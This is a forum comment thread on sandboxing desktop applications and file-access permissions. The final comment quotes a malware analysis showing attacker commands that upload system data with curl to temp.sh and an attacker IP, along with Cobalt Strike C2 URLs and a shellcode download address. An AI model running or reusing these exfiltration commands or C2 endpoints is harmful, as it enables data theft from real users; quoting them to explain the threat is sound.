WingNews logo WingNews
top | item 46878922

(no title)

ashishb | 26 days ago

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

discuss

order

troad|26 days ago

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

ashishb|26 days ago

It also has persistent permissions.

Think about it from a real world perspective.

I knock on your door. You invite me to sit with you in your living room. I can't easily sneak into your bed room. Further, your temporary access ends as soon as you exit my house.

The same should happen with apps.

When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2. Further, as soon as I exit the process, the permission to access dir1 should end as well.

TheChaplain|26 days ago

> Linux people are very resistant to this

Because security people often does not know the balance between security and usability, and we end up with software that is crippled and annoying to use.

black_knight|26 days ago

I think we could get a lot further if we implement proper capability based security. Meaning that the authority to perform actions follows the objects around. I think that is how we get powerful tools and freedom, but still address the security issues and actually achieve the principle of least privilege.

For FreeBSD there is capsicum, but it seems a bit inflexible to me. Would love to see more experiments on Linux and the BSDs for this.

bsder|26 days ago

> Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps.

Linux people are NOT resistant to this. Atomic desktops are picking up momentum and people are screaming for it. Snaps, flatpaks, appimages, etc. are all moving in that direction.

As for plain development, sadly, the OS developers are simply ignoring the people asking. See:

https://github.com/containers/toolbox/issues/183

https://github.com/containers/toolbox/issues/348

https://github.com/containers/toolbox/issues/1470

I'll leave it up to you to speculate why.

Perhaps getting a bit of black eye and some negative attention from the Great Orange Website(tm) can light a fire under some folks.

hibikir|26 days ago

Yet we look at phones, and we see people accepting outrageous permissions for many apps: They might rely on snooping into you for ads, or anything else, and yet the apps sell, and have no problem staying in stores.

So when it's all said and done, I do not expect practical levels of actual isolation to be that great.

symaxian|26 days ago

Sand-boxing such as in Snap and Flatpak?

cxr|25 days ago

It's truly perverse that, at the same time that desktop systems are trying to lock down what trusted, conventional native apps can and cannot do and/or access, you have the Chrome team pushing out proposals to expand what browsers allow websites to do to the user's file system, like silently/arbitrarily reading and writing to the user's disk—gated only behind a "Are you sure you want to allow this? Y/N"-style dialog that, for extremely good reasons, anyone with any sense about design and interaction has strongly opposed for the last 20+ years.

BobbyTables2|26 days ago

I intensely hate that a stupid application can modify .bashrc and permanently persist itself.

Sure, in theory, SELinux could prevent this. But seems like an uphill battle if my policies conflict with the distro’s. I’d also have to “absorb” their policies’ mental model first…

jacobgkau|26 days ago

> getting a lot of slack recently

I think you mean a lot of flak? Slack would kind of be the opposite.

its_magic|26 days ago

I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

There is no such thing as computer security, in general, at this point in history.

taftster|26 days ago

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox.

Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

josephg|26 days ago

I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me.

iOS and Android both implement these security policies correctly. Why can't desktop operating systems?

TiredOfLife|26 days ago

They tried. And the rent seekers made a huge noise against

gus_|26 days ago

running apps in a sandbox is ok, but remember to disable internet access. A text editor should not require it, and can be used to exfiltrate the text(s) you're editing.

    When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

    3 Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
    4 Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202
--

    The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
--

    The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin